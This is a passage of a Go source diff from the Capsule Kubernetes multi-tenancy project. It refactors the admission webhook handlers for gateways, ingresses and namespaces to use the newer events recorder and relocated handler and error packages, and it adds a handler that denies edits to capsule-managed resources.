    -	err := fmt.Sprintf("Gateway Class %s is forbidden for the current Tenant: ", i.gatewayClassName)
    -
    -	return utils.DefaultAllowedValuesErrorMessage(i.spec, err)
    -}
    -
    -type gatewayClassUndefinedError struct {
    -	spec api.DefaultAllowedListSpec
    -}
    -
    -func NewGatewayClassUndefined(spec api.DefaultAllowedListSpec) error {
    -	return &gatewayClassUndefinedError{
    -		spec: spec,
    -	}
    -}
    -
    -func (i gatewayClassUndefinedError) Error() string {
    -	return utils.DefaultAllowedValuesErrorMessage(i.spec, "No gateway Class is forbidden for the current Tenant. Specify a gateway Class which is allowed within the Tenant: ")
    -}
    
  • internal/webhook/gateway/validate_class.go+14 12 modified
    @@ -9,46 +9,48 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     	gatewayv1 "sigs.k8s.io/gateway-api/apis/v1"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type class struct {
     	configuration configuration.Configuration
     }
     
    -func Class(configuration configuration.Configuration) capsulewebhook.Handler {
    +func Class(configuration configuration.Configuration) handlers.Handler {
     	return &class{
     		configuration: configuration,
     	}
     }
     
    -func (r *class) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, client, req, decoder, recorder)
     	}
     }
     
    -func (r *class) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, client, req, decoder, recorder)
     	}
     }
     
    -func (r *class) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *class) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder record.EventRecorder) *admission.Response {
    +func (r *class) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder events.EventRecorder) *admission.Response {
     	gatewayObj := &gatewayv1.Gateway{}
     	if err := decoder.Decode(req, gatewayObj); err != nil {
     		return utils.ErroredResponse(err)
    @@ -77,9 +79,9 @@ func (r *class) validate(ctx context.Context, client client.Client, req admissio
     	}
     
     	if gatewayClass == nil {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "MissingGatewayClass", "Gateway %s/%s is missing GatewayClass", req.Namespace, req.Name)
    +		recorder.Eventf(tnt, gatewayClass, corev1.EventTypeWarning, evt.ReasonMissingGatewayClass, evt.ActionValidationDenied, "Gateway %s/%s is missing GatewayClass", req.Namespace, req.Name)
     
    -		response := admission.Denied(NewGatewayClassUndefined(*allowed).Error())
    +		response := admission.Denied(caperrors.NewGatewayClassUndefined(*allowed).Error())
     
     		return &response
     	}
    @@ -106,9 +108,9 @@ func (r *class) validate(ctx context.Context, client client.Client, req admissio
     	case allowed.Match(gatewayClass.Name) || selector:
     		return nil
     	default:
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenGatewayClass", "Gateway %s/%s GatewayClass %s is forbidden for the current Tenant", req.Namespace, req.Name, &gatewayClass)
    +		recorder.Eventf(tnt, gatewayClass, corev1.EventTypeWarning, evt.ReasonForbiddenGatewayClass, evt.ActionValidationDenied, "Gateway %s/%s GatewayClass %s is forbidden for the current Tenant", req.Namespace, req.Name, &gatewayClass)
     
    -		response := admission.Denied(NewGatewayClassForbidden(gatewayObj.Name, *allowed).Error())
    +		response := admission.Denied(caperrors.NewGatewayClassForbidden(gatewayObj.Name, *allowed).Error())
     
     		return &response
     	}
    
  • internal/webhook/handler.go+0 40 removed
    @@ -1,40 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package webhook
    -
    -import (
    -	"context"
    -
    -	"k8s.io/client-go/tools/record"
    -	"sigs.k8s.io/controller-runtime/pkg/client"
    -	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    -
    -	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -)
    -
    -type Func func(ctx context.Context, req admission.Request) *admission.Response
    -
    -type Handler interface {
    -	OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) Func
    -	OnDelete(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) Func
    -	OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) Func
    -}
    -
    -type HanderWithTenant interface {
    -	OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -	OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -	OnDelete(c client.Client, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -}
    -
    -type TypedHandler[T client.Object] interface {
    -	OnCreate(c client.Client, obj T, decoder admission.Decoder, recorder record.EventRecorder) Func
    -	OnUpdate(c client.Client, obj T, old T, decoder admission.Decoder, recorder record.EventRecorder) Func
    -	OnDelete(c client.Client, obj T, decoder admission.Decoder, recorder record.EventRecorder) Func
    -}
    -
    -type TypedHandlerWithTenant[T client.Object] interface {
    -	OnCreate(c client.Client, obj T, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -	OnUpdate(c client.Client, obj T, old T, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -	OnDelete(c client.Client, obj T, decoder admission.Decoder, recorder record.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    -}
    
  • internal/webhook/ingress/validate_class.go+21 12 modified
    @@ -10,47 +10,56 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	k8serrors "k8s.io/apimachinery/pkg/api/errors"
     	"k8s.io/apimachinery/pkg/util/version"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type class struct {
     	configuration configuration.Configuration
     	version       *version.Version
     }
     
    -func Class(configuration configuration.Configuration, version *version.Version) capsulewebhook.Handler {
    +func Class(configuration configuration.Configuration, version *version.Version) handlers.Handler {
     	return &class{
     		configuration: configuration,
     		version:       version,
     	}
     }
     
    -func (r *class) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, r.version, client, req, decoder, recorder)
     	}
     }
     
    -func (r *class) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, r.version, client, req, decoder, recorder)
     	}
     }
     
    -func (r *class) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *class) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *class) validate(ctx context.Context, version *version.Version, client client.Client, req admission.Request, decoder admission.Decoder, recorder record.EventRecorder) *admission.Response {
    +func (r *class) validate(
    +	ctx context.Context,
    +	version *version.Version,
    +	client client.Client,
    +	req admission.Request,
    +	decoder admission.Decoder,
    +	recorder events.EventRecorder,
    +) *admission.Response {
     	ingress, err := FromRequest(req, decoder)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -76,9 +85,9 @@ func (r *class) validate(ctx context.Context, version *version.Version, client c
     	ingressClass := ingress.IngressClass()
     
     	if ingressClass == nil {
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "MissingIngressClass", "Ingress %s/%s is missing IngressClass", req.Namespace, req.Name)
    +		recorder.Eventf(tnt, nil, corev1.EventTypeWarning, evt.ReasonMissingIngressClass, evt.ActionValidationDenied, "Ingress %s/%s is missing IngressClass", req.Namespace, req.Name)
     
    -		response := admission.Denied(NewIngressClassUndefined(*allowed).Error())
    +		response := admission.Denied(caperrors.NewIngressClassUndefined(*allowed).Error())
     
     		return &response
     	}
    @@ -106,9 +115,9 @@ func (r *class) validate(ctx context.Context, version *version.Version, client c
     	case allowed.Match(*ingressClass) || selector:
     		return nil
     	default:
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenIngressClass", "Ingress %s/%s IngressClass %s is forbidden for the current Tenant", req.Namespace, req.Name, &ingressClass)
    +		recorder.Eventf(tnt, nil, corev1.EventTypeWarning, evt.ReasonForbiddenIngressClass, evt.ActionValidationDenied, "Ingress %s/%s IngressClass %s is forbidden for the current Tenant", req.Namespace, req.Name, &ingressClass)
     
    -		response := admission.Denied(NewIngressClassForbidden(*ingressClass, *allowed).Error())
    +		response := admission.Denied(caperrors.NewIngressClassForbidden(*ingressClass, *allowed).Error())
     
     		return &response
     	}
    
  • internal/webhook/ingress/validate_collision.go+16 14 modified
    @@ -14,45 +14,47 @@ import (
     	networkingv1beta1 "k8s.io/api/networking/v1beta1"
     	"k8s.io/apimachinery/pkg/fields"
     	"k8s.io/apimachinery/pkg/util/sets"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/indexer/ingress"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/runtime/indexers/ingress"
     )
     
     type collision struct {
     	configuration configuration.Configuration
     }
     
    -func Collision(configuration configuration.Configuration) capsulewebhook.Handler {
    +func Collision(configuration configuration.Configuration) handlers.Handler {
     	return &collision{configuration: configuration}
     }
     
    -func (r *collision) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *collision) OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, client, req, decoder, recorder)
     	}
     }
     
    -func (r *collision) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *collision) OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, client, req, decoder, recorder)
     	}
     }
     
    -func (r *collision) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *collision) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *collision) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder record.EventRecorder) *admission.Response {
    +func (r *collision) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder events.EventRecorder) *admission.Response {
     	ing, err := FromRequest(req, decoder)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -73,9 +75,9 @@ func (r *collision) validate(ctx context.Context, client client.Client, req admi
     		return nil
     	}
     
    -	var collisionErr *ingressHostnameCollisionError
    +	var collisionErr *caperrors.IngressHostnameCollisionError
     	if errors.As(err, &collisionErr) {
    -		recorder.Eventf(tenant, corev1.EventTypeWarning, "IngressHostnameCollision", "Ingress %s/%s hostname is colliding", ing.Namespace(), ing.Name())
    +		recorder.Eventf(tenant, nil, corev1.EventTypeWarning, evt.ReasonIngressHostnameCollision, evt.ActionValidationDenied, "Ingress %s/%s hostname is colliding", ing.Namespace(), ing.Name())
     	}
     
     	response := admission.Denied(err.Error())
    @@ -151,7 +153,7 @@ func (r *collision) validateCollision(ctx context.Context, clt client.Client, in
     
     					fallthrough
     				default:
    -					return NewIngressHostnameCollision(hostname)
    +					return caperrors.NewIngressHostnameCollision(hostname)
     				}
     			case *networkingv1.IngressList:
     				for index, item := range list.Items {
    @@ -170,7 +172,7 @@ func (r *collision) validateCollision(ctx context.Context, clt client.Client, in
     
     					fallthrough
     				default:
    -					return NewIngressHostnameCollision(hostname)
    +					return caperrors.NewIngressHostnameCollision(hostname)
     				}
     			case *networkingv1beta1.IngressList:
     				for index, item := range list.Items {
    @@ -189,7 +191,7 @@ func (r *collision) validateCollision(ctx context.Context, clt client.Client, in
     
     					fallthrough
     				default:
    -					return NewIngressHostnameCollision(hostname)
    +					return caperrors.NewIngressHostnameCollision(hostname)
     				}
     			}
     		}
    
  • internal/webhook/ingress/validate_hostnames.go+15 13 modified
    @@ -10,43 +10,45 @@ import (
     	"github.com/pkg/errors"
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/util/sets"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type hostnames struct {
     	configuration configuration.Configuration
     }
     
    -func Hostnames(configuration configuration.Configuration) capsulewebhook.Handler {
    +func Hostnames(configuration configuration.Configuration) handlers.Handler {
     	return &hostnames{configuration: configuration}
     }
     
    -func (r *hostnames) OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *hostnames) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, c, req, decoder, recorder)
     	}
     }
     
    -func (r *hostnames) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (r *hostnames) OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.validate(ctx, c, req, decoder, recorder)
     	}
     }
     
    -func (r *hostnames) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *hostnames) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *hostnames) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder record.EventRecorder) *admission.Response {
    +func (r *hostnames) validate(ctx context.Context, client client.Client, req admission.Request, decoder admission.Decoder, recorder events.EventRecorder) *admission.Response {
     	ingress, err := FromRequest(req, decoder)
     	if err != nil {
     		return utils.ErroredResponse(err)
    @@ -67,9 +69,9 @@ func (r *hostnames) validate(ctx context.Context, client client.Client, req admi
     
     	for hostname := range ingress.HostnamePathsPairs() {
     		if len(hostname) == 0 {
    -			recorder.Eventf(tenant, corev1.EventTypeWarning, "IngressHostnameEmpty", "Ingress %s/%s hostname is empty", ingress.Namespace(), ingress.Name())
    +			recorder.Eventf(tenant, nil, corev1.EventTypeWarning, evt.ReasonIngressHostnameEmpty, evt.ActionValidationDenied, "Ingress %s/%s hostname is empty", ingress.Namespace(), ingress.Name())
     
    -			return utils.ErroredResponse(NewEmptyIngressHostname(*tenant.Spec.IngressOptions.AllowedHostnames))
    +			return utils.ErroredResponse(caperrors.NewEmptyIngressHostname(*tenant.Spec.IngressOptions.AllowedHostnames))
     		}
     
     		hostnameList.Insert(hostname)
    @@ -79,9 +81,9 @@ func (r *hostnames) validate(ctx context.Context, client client.Client, req admi
     		return nil
     	}
     
    -	var hostnameNotValidErr *ingressHostnameNotValidError
    +	var hostnameNotValidErr *caperrors.IngressHostnameNotValidError
     	if errors.As(err, &hostnameNotValidErr) {
    -		recorder.Eventf(tenant, corev1.EventTypeWarning, "IngressHostnameNotValid", "Ingress %s/%s hostname is not valid", ingress.Namespace(), ingress.Name())
    +		recorder.Eventf(tenant, nil, corev1.EventTypeWarning, evt.ReasonIngressHostnameNotValid, evt.ActionValidationDenied, "Ingress %s/%s hostname is not valid", ingress.Namespace(), ingress.Name())
     
     		response := admission.Denied(err.Error())
     
    @@ -129,7 +131,7 @@ func (r *hostnames) validateHostnames(tenant capsulev1beta2.Tenant, hostnames se
     	}
     
     	if !valid && !matched {
    -		return NewIngressHostnamesNotValid(invalidHostnames, notMatchingHostnames, *tenant.Spec.IngressOptions.AllowedHostnames)
    +		return caperrors.NewIngressHostnamesNotValid(invalidHostnames, notMatchingHostnames, *tenant.Spec.IngressOptions.AllowedHostnames)
     	}
     
     	return nil
    
  • internal/webhook/ingress/validate_wildcard.go+9 8 modified
    @@ -10,40 +10,41 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/fields"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type wildcard struct{}
     
    -func Wildcard() capsulewebhook.Handler {
    +func Wildcard() handlers.Handler {
     	return &wildcard{}
     }
     
    -func (h *wildcard) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *wildcard) OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.validate(ctx, client, req, recorder, decoder)
     	}
     }
     
    -func (h *wildcard) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *wildcard) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *wildcard) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {
    +func (h *wildcard) OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.validate(ctx, client, req, recorder, decoder)
     	}
     }
     
    -func (h *wildcard) validate(ctx context.Context, clt client.Client, req admission.Request, recorder record.EventRecorder, decoder admission.Decoder) *admission.Response {
    +func (h *wildcard) validate(ctx context.Context, clt client.Client, req admission.Request, recorder events.EventRecorder, decoder admission.Decoder) *admission.Response {
     	tntList := &capsulev1beta2.TenantList{}
     
     	if err := clt.List(ctx, tntList, client.MatchingFieldsSelector{
    @@ -70,7 +71,7 @@ func (h *wildcard) validate(ctx context.Context, clt client.Client, req admissio
     			// Check if one of the host has wildcard.
     			if strings.HasPrefix(host, "*") {
     				// In case of wildcard, generate an event and then return.
    -				recorder.Eventf(&tnt, corev1.EventTypeWarning, "Wildcard denied", "%s %s/%s cannot be %s", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
    +				recorder.Eventf(&tnt, nil, corev1.EventTypeWarning, evt.ReasonWildcardDenied, evt.ActionValidationDenied, "%s %s/%s cannot be %s", req.Kind.String(), req.Namespace, req.Name, strings.ToLower(string(req.Operation)))
     
     				response := admission.Denied(fmt.Sprintf("Wildcard denied for tenant %s\n", tnt.GetName()))
     
    
  • internal/webhook/misc/managed.go+45 0 added
    @@ -0,0 +1,45 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package misc
    +
    +import (
    +	"context"
    +	"fmt"
    +
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +)
    +
    +type managedValidatingHandler struct{}
    +
    +func ManagedValidatingHandler() handlers.Handler {
    +	return &managedValidatingHandler{}
    +}
    +
    +func (h *managedValidatingHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
    +	return func(context.Context, admission.Request) *admission.Response {
    +		return nil
    +	}
    +}
    +
    +func (h *managedValidatingHandler) OnDelete(client client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.handler(ctx, client, req, recorder)
    +	}
    +}
    +
    +func (h *managedValidatingHandler) OnUpdate(client client.Client, _ admission.Decoder, recorder events.EventRecorder) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		return h.handler(ctx, client, req, recorder)
    +	}
    +}
    +
    +func (h *managedValidatingHandler) handler(ctx context.Context, clt client.Client, req admission.Request, recorder events.EventRecorder) *admission.Response {
    +	response := admission.Denied(fmt.Sprintf("resource %s is managed by capsule and can not by modified by capsule users", req.Name))
    +
    +	return &response
    +}
    
  • internal/webhook/misc/tenant_assignment.go+21 9 modified
    @@ -8,35 +8,35 @@ import (
     	"encoding/json"
     
     	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     type tenantAssignmentHandler struct{}
     
    -func TenantAssignmentHandler() capsulewebhook.Handler {
    +func TenantAssignmentHandler() handlers.Handler {
     	return &tenantAssignmentHandler{}
     }
     
    -func (r *tenantAssignmentHandler) OnCreate(c client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (r *tenantAssignmentHandler) OnCreate(c client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.handle(ctx, c, decoder, req)
     	}
     }
     
    -func (r *tenantAssignmentHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (r *tenantAssignmentHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (r *tenantAssignmentHandler) OnUpdate(c client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (r *tenantAssignmentHandler) OnUpdate(c client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return r.handle(ctx, c, decoder, req)
     	}
    @@ -66,11 +66,23 @@ func (r *tenantAssignmentHandler) handle(ctx context.Context, c client.Client, d
     		labels = map[string]string{}
     	}
     
    -	if currentValue, exists := labels[meta.ManagedByCapsuleLabel]; exists && currentValue == tnt.GetName() {
    +	want := tnt.GetName()
    +
    +	managedOK := labels[meta.ManagedByCapsuleLabel] == want
    +	tenantOK := labels[meta.NewTenantLabel] == want
    +
    +	if managedOK && tenantOK {
     		return nil
     	}
     
    -	labels[meta.ManagedByCapsuleLabel] = tnt.GetName()
    +	if !managedOK {
    +		labels[meta.ManagedByCapsuleLabel] = want
    +	}
    +
    +	if !tenantOK {
    +		labels[meta.NewTenantLabel] = want
    +	}
    +
     	obj.SetLabels(labels)
     
     	marshaledObj, err := json.Marshal(obj)
    
  • internal/webhook/namespace/mutation/cordoning.go+8 8 modified
    @@ -11,34 +11,34 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     	capsuleutils "github.com/projectcapsule/capsule/pkg/utils"
     )
     
     type cordoningLabelHandler struct {
     	cfg configuration.Configuration
     }
     
    -func CordoningLabelHandler(cfg configuration.Configuration) capsulewebhook.TypedHandler[*corev1.Namespace] {
    +func CordoningLabelHandler(cfg configuration.Configuration) handlers.TypedHandler[*corev1.Namespace] {
     	return &cordoningLabelHandler{
     		cfg: cfg,
     	}
     }
     
    -func (h *cordoningLabelHandler) OnCreate(client.Client, *corev1.Namespace, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningLabelHandler) OnCreate(client.Client, *corev1.Namespace, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *cordoningLabelHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *cordoningLabelHandler) OnDelete(client.Client, *corev1.Namespace, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -49,8 +49,8 @@ func (h *cordoningLabelHandler) OnUpdate(
     	ns *corev1.Namespace,
     	old *corev1.Namespace,
     	decoder admission.Decoder,
    -	_ record.EventRecorder,
    -) capsulewebhook.Func {
    +	_ events.EventRecorder,
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(ctx, c, req, ns)
     	}
    
  • internal/webhook/namespace/mutation/handler.go+12 11 modified
    @@ -7,18 +7,19 @@ import (
     	"context"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
    -func NamespaceHandler(configuration configuration.Configuration, handlers ...webhook.TypedHandler[*corev1.Namespace]) webhook.Handler {
